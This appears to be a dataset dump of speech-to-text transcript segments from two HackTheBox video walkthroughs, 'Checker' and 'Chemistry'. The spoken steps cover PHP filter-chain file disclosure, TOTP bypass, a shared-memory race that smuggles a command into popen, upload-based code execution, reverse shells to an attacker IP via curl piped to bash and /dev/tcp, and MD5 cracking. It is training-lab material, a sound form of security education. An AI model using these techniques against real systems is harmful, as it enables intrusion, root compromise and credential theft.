text
stringlengths
4
952
start
float64
0
9.37k
duration
float64
0
0
meta
dict
And let's see, we have Bob access and SSH. So, let's go over to SSH. We can see this. We have Bob's password right there. Let's just copy it. And I'm going to do vcreds.ext Bob. Put this That's not what I copied. That is sh bobchecker.htb. Paste in the password.
1,004.639
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Uh, did I not copy it right? Hiccup. Oh, the account is reader, not Bob. So, reader. Paste in the password. And it wants a verification code. So, this is going to be multiffactor authentication on SSH. Most likely probably going to be Google authenticator, but we'll probably enumerate that in a little bit. But, we can'...
1,032.679
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
a bookstack login. Um, bob checker.htb and my secret wiki password. So, if we go here, we can do bob at checker.htb put in this password and we get logged in. And there's some pages here we can take a look at. So, we have this like basic backup with cp. So, recursive copy, update, whatever. This is going to become key ...
1,089.679
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
to do, but we can explain what's going on. Um, they put the URL inside this image.
1,153.44
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
And this is going to be a really cool attack that I can't fully explain, but we're going to um demo it because most people would just think this is a way to make serverside request forgery attack work. But in PHP, apparently you can convert a serverside request forgery often to um local file disclosure, which is pretty...
1,162.08
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So let's just go create a book. So we'll do books create new book. We'll do ipsseack description that does not matter. Save book create new page.
1,196.559
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
And this is where they um do the exploit. And if we watch the video, it would be clear. I don't I never found a good blog post to show that had it in text form. So that's why I'm doing it this way. So we should be in Burp Suite. Now let's go over to proxy. Um intercept on. Let's go ahead and save the draft.
1,214.72
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So now we have the draft here. So, what the exploit is having us do is where is it? Right here. We'll copy this. Go back in Burpswuite. Paste it. So, we put a URL here. This is just going to be um having the server reach out to us.
1,240.72
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So, let's create a URL. So, we'll do echo-ashn. And the dash n's important so you don't have the um line break at the end. So, we'll do 10 1048 port 8000. Uh we'll do SSRF, I guess. And then base 64. If there's equal signs on it, you can cut them off. Or if you want to do the equals, I think you have to URL encode them...
1,268.159
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
real quick. I think I put an exclamation point on it. But we're modifying the HTML which is down here. And we just have a dead link, right? So it never actually puts it here. So that's why we can't just include a file easily. But what we can do, um, I think let's verify this real quick. I may be wrong with what I just ...
1,336.799
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So, there's no way for us to actually um see the data, but we can do a error based brute force and brute force it one character at a time because of a weird PHP quirk. So, let's go into that. I'm going to Google like um let's see PHP filter error Oracle. I think this is going to be it. It's a blog post on Synactive and...
1,397.88
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
time frame, the only known thing you could really do was convert files to B 64 at the filter chain. And this was used in include statement. So you could um leak source code, right? Because if you just include a PHP file, the include will execute it and you don't get the source out of it. But if you B 64 encode it, now ...
1,457.12
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
today. Um, people eventually found out you could also just use this to write magic bytes to beat mime type checks. In the big bang video, which we did um, a couple weeks ago, I think it was, we used filter chains in order to exploit a buffer overflow that turned a file read and PHP into a file, write. That was a really...
1,503.039
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
This only opens the file and reads it. It doesn't print anything back to the user. So there's no way to just say, "Hey, give me slash flag." you have to abuse something in order to get it because it's not like a file get contents that's going to echo the contents of the file back to you. It just reads it, does nothing ...
1,549.52
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So we just do this in code. This is kind of an example of it. Um if we just do I convert UTF8 UTF uh UCS4 little Indian string. This is what it looks like. Then we're going to add um another one. We add more bytes. So we just keep doing this to make a huge file and eventually we exhaust PHP and that crashes. So wheneve...
1,598.4
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
character wasn't hexadimal. If we dchunk it and it doesn't crash now we know that very first character was hexadimal.
1,661.279
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Right? And then they can do other weird things with I convert to change that character around like rot 13 things like that in order to figure out what hexadesimal character that was, right? Um and then they're also going to do a another thing in this which will just reorder the um bite. So um eventually they change lik...
1,668.559
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
a get clone.
1,723.72
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
And then let's go into the directory and let's see.
1,728.96
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Um, there's going to be one thing we have to do. We have to update a file in the actual GitHub. They talk about like you probably should use the class. I don't know exactly how to do it. So, I'm going to do a relatively hacky thing and find where it makes the request and hand jam our modification in. Right? because thi...
1,734.6
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So we do this and then we need to do a B 64 encode on the filter chain and it wants that as binary, but we want it as AS asy like that. And then we terminate with a single quote slash and carrot like that. There we go. And then we have to import B 64. So from B 64, import B64 encode. And I don't know why it just did tw...
1,794.88
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Make sure it works. I want to make sure um we don't have to send the data as JSON. It looks like it does support it, but it would be slightly easier if we just did this all as um the standard xdubdub url form encoded. So, let's see if we can change that real quick. So, we'll do this dubdubdubdub uh form URL encoded. An...
1,833.919
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
going to be a put request. We have that here. Um, let's see what else. Uh, the parameter that we're using. So, that would be parameter HTML. And then let's see, we need the headers. So, this is going to be cookie. And then let's grab this. So, I'm going to add this header.
1,912.48
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
And then we also need the cross-sight scripting protection XC surf token. And then that's going to be this. Okay. Headers are set. Um I'm going to do d-proxy http 127001 8080.
1,945.12
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
This lets us actually see what's going on. And let's see, is there anything else we need? Feel like I'm forgetting something. Oh, the file. Duh. So, let's do Etsy host name because that's a relatively small file and we have an idea what it's going to be. Let's see if this works. It's taking its time. If I go over into ...
1,972.159
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
does a bunch of um 500 requests because that's it failing. And then also a lot of times when we people are using these PHP filters to do things, it truncate it loses like the last bite of the file. If you prepend a lot of data to the file, it loses more than one bite. So you don't always get the end of the file, which ...
2,046.96
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
go. See, it's starting to work. Um let's see. While that goes, let's go.
2,107.48
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Catcreds shreer at checker.htb and we'll paste this in. And then we can also just Google like this string.
2,116.119
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So, I'm going to say SSH put verification code in quotes like that. And Google Authenticator comes up quite a bit, right? So, chances are it's using Google Authenticator. Um, let's see. Google Authenticator C. Uh, let's do setup. Uh, let's see. Sh MFA Ubuntu. Is that going to be a better one? Let's see. Is this going t...
2,129.92
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Um, we can change the file to be home reader Google authenticator and see what happens. And it errors right away, which makes sense because we can't go into the reader directory. But if you remember back when we um started on this box and logged in, they talked about backing up the home directory and they did the home ...
2,201.44
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
again. So, I'm going to get the credential for reader again. We can SSH um reader at checker.htb. paste this in. And then I'm going to run ooth. Is it like this? There we go. Ooth tool. Uh, tootp specify this hex encoding failed. There's an option for that. Uh, base 32. Whoops. Need a space. There we go.
2,277.76
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So, let's try 667 943. And we get a weird error. And I don't know exactly why it's doing this.
2,318.8
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Well, it's doing it because the time is wrong. But if I just put like one two one two one two, we get back to password. So, it fails differently when the time is close or something. I don't fully understand that. It should either be failed or success. But it looks like there's three cases. And we can get the server tim...
2,330.88
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
There we go. And then we want to um grab everything after the delimiter of a space. Everything after three like that. Is that it? There we go. So we have the date format here. And then we can use the date command of date-d format this how OOTH tool wants. Um, forget exactly how that is. That's going to fail. Python 3. ...
2,370.16
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So we do date like this and then plus percent y for year lowerase m lowerase d hour minute second like that. Uh that's not working.
2,415.92
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
put this in quotes maybe. There we go. So now we have the date. So we can go back to the ooth command and use this. Where is that? Right here. And then we can do dashn now is equal to and paste this in. Hopefully that works. I just probably did quote seception with all these double quotes. Looks good to me.
2,441.28
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Um, we got to get the password again. I should probably use like SSH pass or something so we don't have to keep copy and pasting, but oh well. Run this. Let's get a new code. 708017. And there we go. We get logged in. Awesome. So the first thing I like doing whenever I SSH into a box, especially if I know the user's pa...
2,476.44
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
going to do is I guess check if this is I don't know exactly what this is doing.
2,533.28
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Um it looks like it's just grabbing the username but making it like over complicated. So let's do echo. We'll do it all caps. That works. If I do zero, that says all numeric, so probably alpha numeric. Um, oh, maybe that's getting rid of special characters. Yeah, that's what that's doing. So, that's going to get rid of...
2,539.64
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
will be notified. So if we do a ls we can also see there are leaked hashes.
2,600.96
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So, I'm guessing Bob's hash is in this file, right? But let's go ahead and copy this binary over to a box so we can begin analyzing it and um see what the vulnerability here is. So, we're going to do a NC LVNP check leak and then uh we'll do port 90001 and direct to a file like that. There we go. We can cat check leak ...
2,606.319
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
we go. Analyze now. Analyze.
2,675.76
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Okay. And I'm waiting for this to finish and us to have like a main function.
2,683.4
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Uh there it is. We have main. So let's take a look at kind of what it's doing.
2,690.88
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So right off the bat, um we're going to get environment variables DB host user password name. So this is going to be all the like environment stuff we had saw. And I'm just going to quickly rename these so if they show up later, uh we know exactly what it is. This is DB password. And then this will be DB name. There we...
2,696.8
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
name. And this so this is going to be um user I guess we can call that. And that'll be a pointer. Um this will be maybe um handle DB maybe. I don't know exactly what this is. Um but if we look at fetch hash from DB, we could name these things. The last thing we got was um user. So this is going to be username. The rest...
2,766.28
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
the database. Then we're going to do this check brypt in file. So, all we're doing here, and this is going to be um hash, right? Uh PW hash. There we go. Because we're comparing the PW hash against the um leaked hashes, right? And if that string does not exist in that file, it's going to say the user is safe. Else the ...
2,836.16
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
And then I don't know what this is doing. is checking if something is not set. I guess we're going to flush standard out and then we're going to write to SHM. And this is interesting.
2,868
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Um this is going to be write to shared memory. And if we look at this um I'm guessing all this stuff is probably because it's like compiled maybe debug or something. This is probably going to be stuff to help um a debugger. I don't know exactly what that's doing here, but we see it's doing this shmit. So this is gettin...
2,879.52
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
goes to one, right? So this is just limiting the size that um the key can be. This would be the number of bytes and then this is actually the file permission. Um I was wondering if the tool tip would tell me. Maybe it does right there. And shm flag. So yeah, this is going to be the permission and 0x3B6. This is in hex ...
2,937.599
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
right here. We're going to I want to say read the memory right here with shmat.
3,002.4
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
What is that doing? Let's just Google exactly what this is doing. Does this read and see? Oh, it attaches to the memory space. So, um we see if we can access it, then we attach to it. And then we're probably going to write to it somewhere. uh shmat there's time store there that's detach. So right here this is going to ...
3,009.119
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
uh right here with this print f we are writing leaked hash detected at and then the probably memory location and then we're putting this carrot and then um is that the hash exactly? I think that's the hash. Let's see if we go back here.
3,055.119
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Let's do the pseudo command again. Password is leaked. User sharing. So it never actually prints that. But I think this is going to be the hash. We'd have to like go back here. Uh C time put this right. I'm pretty sure that's going to be the hash. So we're writing to a place in shared memory that anyone can access. So ...
3,074.559
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Um we write to shared memory. Then we print that string. Um then we're going to sleep for one second and then notify user and u 2. This is going to be the shared memory uh location or ID. So I'm just going to rename that to SHM ID. We go to notify user. I'm just going to label that because that's important. I think all...
3,114.319
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
don't know exactly what to call it. Um, if we can't access it, it's going to error out. This hstack is probably going to be the data. Let's see. SHM this is allocated stuff unable to attach. There we go. So this is going to be a string. So right here let's see don't know what this is exactly doing. So no hash detected ...
3,182.88
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Maybe location of that. There we go. So, we're going to find the location of the greater than sign. And what we're doing here is setting that to this trim brypt hash and then plus one, right? Because when we looked at um what it was before, it was like leaked. Oh, right here, I think. Right. It was right here. or like ...
3,274.2
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So all that's doing is gra finding where this is in the string adding one. So we get rid of the space. So we just have the password hash. So that's where that is. And this is going to be pw hash. And here we're going to make sure we have a MySQL password set. Um, this is making sure that set and succeeded. And right he...
3,310.559
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
password hash. So this is why this function needs the password hash. We're just going to do a mysql and find the user that has this password hash, right? And then what we're going to do with that is let's see a pop. So if you're still following me, um this password hash comes from shared memory and we're going to do a ...
3,379.44
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So the challenge here is when we go into main, we check, we validate that a user has um a leaked password, then we're going to sleep for 1 second. And in this second, we're going to write to the same shared memory location, replace that string with one of our own, and that's going to have command injection because pope...
3,406.4
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
I probably should do this in like um something where I have co-pilot, but I've never used co-pilot with C. I don't know how it would do and how confused I'd get. So, we're just going to um do this manually and hope that everything works. So, let's do include the last one. I think this is what we need. And then we can d...
3,458.48
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
if that exists in memory and then if it does we're going to overwrite it. Right? That's going to be the gist of it. So I'm going to do a um infinite loop first and then we're going to um set the time. So now is going to be unsigned int time and then we're going to pass in null and then we'll call sr rand on now and the...
3,529.359
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
we've seen. We'll do key. I want to say it did 400 bytes and we're going to pass in a zero. We're not going to do any permissions here. All we're doing is seeing if this uh place and memory exist. And if it does um or if that shared memory does not exist, this is going to return um negative one if it fails. We're just ...
3,604.48
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
And then we'll just call continue. So we get back into this loop. Okay. And then here we're going to say key exist. So what that continue is going to do is it's going to um go back to the beginning of the loop. So if we can't access that spot in memory, go back to the beginning. And now if we can then um let's do a pri...
3,659.04
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
did 0x3b6 0x3b6 like that there we go and let's see uh we have to call that Um what is it? Allocation and we do shim ID. Give it a pointer. There we go. I think that's how we do the allocation. Um and now we just have to put the string in. So they used um print f like this point it to the shared memory location 400 byt...
3,735.76
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
semicolon and we'll do a comment as well. So it just um breaks everything else off of that string. So I think that's good. And now we have to detach. So we'll do shm dt and then handle that.
3,827.24
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
And then let's break to exit the program. So I think we have this now.
3,847.599
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Moment of truth. Do I have typos? It compiles first time. Um, so let's go ahead and copy this over. So I'm going to cat my program. Let's copy this. And we will go over here. And we probably need to SSH in again um because we need two shells open to make this easy. We could just run it in the background, but I think it...
3,852.64
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So, we'll do the OOTH tool again. Cat creds shreer at checker.htb. Uh, copy this 174484. Sweet. I did that within the time. I was worried that would take too long. So, let's go to cd temp v. I'll call it like exploit.c. Oh man. Uh eh nano. Uh that's not the right clipboard. That is save it. GCC exploit C. We'll call th...
3,885.839
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Um we screwed something really silly up.
3,938.52
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
him get like I'm confused real quick cuz we're doing if it does not equal negative 1 here but we still got here. I am afled right now. We have something really silly that I don't know cuz we should just hit this.
3,945.2
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Oh, that's equal to negative one. That's a stupid mistake.
3,993
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
There we go. So that's why I did that print statement because I knew I would make something um silly. So now this program is running and it's just constantly checking the shared memory location. So as long as um we did the whole randomization, right? Hopefully the program does something when we run this script. So I'm ...
4,001.52
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
No hash detected in shared memory. So I think we screwed up the right. If I do lsa on temp, uh, we don't have that. Please subscribe. So we definitely screwed up the right. Um, we found key. We do a get here 3B6. So, that's writing. I wonder if this needs to be longer.
4,033.119
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Um, let's copy this. I guess we can go. Try this.
4,070.039
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
So let's write more data. Uh don't know what I just did. There we go. That's what I want. Leak hash detected at um something that Save. Compile.
4,088.559
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
Run. Let's do the pseudo again. And it never detected it. There we go. Found key. An error. This looks better, right? Uh, so the MySQL errored out. If we do lsla on temp. There we go. We have please subscribe. So I wonder if I just ran that multiple times if it would work because it doesn't look like it just works ever...
4,126.6
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
this means it's going to be set to ID. We can do temp ips-p. And if we do ID, we are now effectively root. So if we do cdroot, we can get root.ext. So that's going to be the video. Hope you guys enjoyed it. Take care and I will see you all next time.
4,201.36
0
{ "video_id": "mywIX1F1Cr8", "title": "HackTheBox - Checker", "url": "https://www.youtube.com/watch?v=mywIX1F1Cr8" }
what's going on YouTube this is IPC and be doing chemistry from hack the box and I recorded this video without any prep because when I solved this four or five months ago I left myself a note saying it would be fun doing Blind and since I'm going to add it semi blind let's not spoil anything here and just jump right in...
0.12
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
probably flask or something like that just because we see Python and work Zug so let's go ahead and take a look at Port 5000 so I'm going to go to http 10 10 1138 Port 5000 and we get a chemistry CIF analyzer and the tool allows to upload a CIF the crystal graphic information file so let's register an account I'm just ...
49.48
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
directory then we can do chemistry upload this example and I guess we can go to view and see if it shows us anything and I'm still not getting anything I'm going to look at the source and when I do the source it wants me to log in I'm just going to go to burp site to do this so we can see the actual page and I'm still ...
108.159
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
we'll do V on. CIF paste it and we can see where it's executing code so we have it doing a touch ped we can't really see the directories on this so I'm going to change this to be a ping so we do a ping and before I run that I think it's DN for a number of times is it- C uh it's probably- C on Linux I always get those m...
178.68
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
work let's see we could also try maybe a sleep oh I need C1 I made that mistake when I was like typing it to myself too so let's delete this let's upload it again upload View helps if I'm running TCP dump refresh and we get a ping so again if this didn't work that's why I would have fallen back and tried the sleep to s...
250.079
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
waiting I probably should have done like 5 seconds but you can definitely see it's hanging for much longer than it was in order to uh display an airor message you can see intercept is off so probably in another 15 seconds we'll see that so let's go ahead and edit this and we know we have code execution so let's try put...
314.44
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
vau and then let us do a echo paste b 64- d pipe it over to bash and that looks good let's go ahead and upload this again so we'll do browse uh we have to delete it upload view helps if we listen on our Port refresh and we still don't get anything so let's switch up our idea and what I'm going to do is switch over to c...
408.919
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
B- C oh we don't even need that we can just do bash d i Dev TCP 10 10 14 8 9,1 0 and one like that and the reason why we don't need the- c is because the curl command is calling bash so we know we're in bash and the whole reason we want to be in bash is because this Dev TCP thing is a bash ISM right if we're in a diffe...
512.839
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
python reverse Shelf and let's see reverse sh cheat sheet this should be fine Python and we have a lot so I'm just going to copy this one it should be fine paste and we'll change the IP to be 1010 148 90001 okay and let's see we already edited V right that's now going to Python 3 that should be fine now let's try this ...
597.36
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
myself because um from python we only executed s but that bash shell does work um hold on one second let's go v dubdub dub pone let's actually move pone to pone Pi V pone let's copy this because I'm curious why my reverse shell was not working we'll insert that we know that worked so now we just want to V Von do CIF we...
740.8
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
file and maybe that will help V upload listen view LSD shm we have an error awesome okay does not help us and I noticed one mistake that you're probably laughing at if not um common mistake let's do error two here because it's possible that the curl errored out and then the bash ered out as well and we just clobbered t...
837.56
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
Star oh I just have it piped to bash I wonder if B is like a special character or something and it always puts B Star let's pipe it to sh that should work still because in my dubdub dub I do have bash C right yeah so even I'm executing with a shell I should upgrade to bash in the curl command so if for some reason some...
923.759
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
what's going on in the Box we decided to do some debugging by piping error messages somewhere looking at them and realizing bash is a naughty word that um CIF does not like no idea why but at least we've improved our workflow and know how to troubleshoot that right because every now and then you do come across like web...
999.24
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
and talk at the same time but let's look at exactly where the database is so if I cat app.py actually we can just do um let's clear the screen first export term is equal to X term and I'll do lntp and looking for database Port I don't see anything we do have 8080 so that's probably another web server or something um um...
1,049.88
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
credentials right here so let's go ahead and grab these V temp let's just paste that there we go and let's see I'm going to do a a field separator of a single quote and we're going to print to colon 4 I think there we go so now we have username colon the hash and this just looks like md5 sums I bet we could uh validate...
1,127
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
uh so we'll do hashcat bin uh example hashes because I'm not exactly sure what md5 is I want to say it's zero yep and zero is raw md5 hash so hashcat bin dm0 hash is chemistry opt wordlist Rock you. text and we also want to specify the user flag because we have username call in the password so it looks like it cracked ...
1,204.799
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
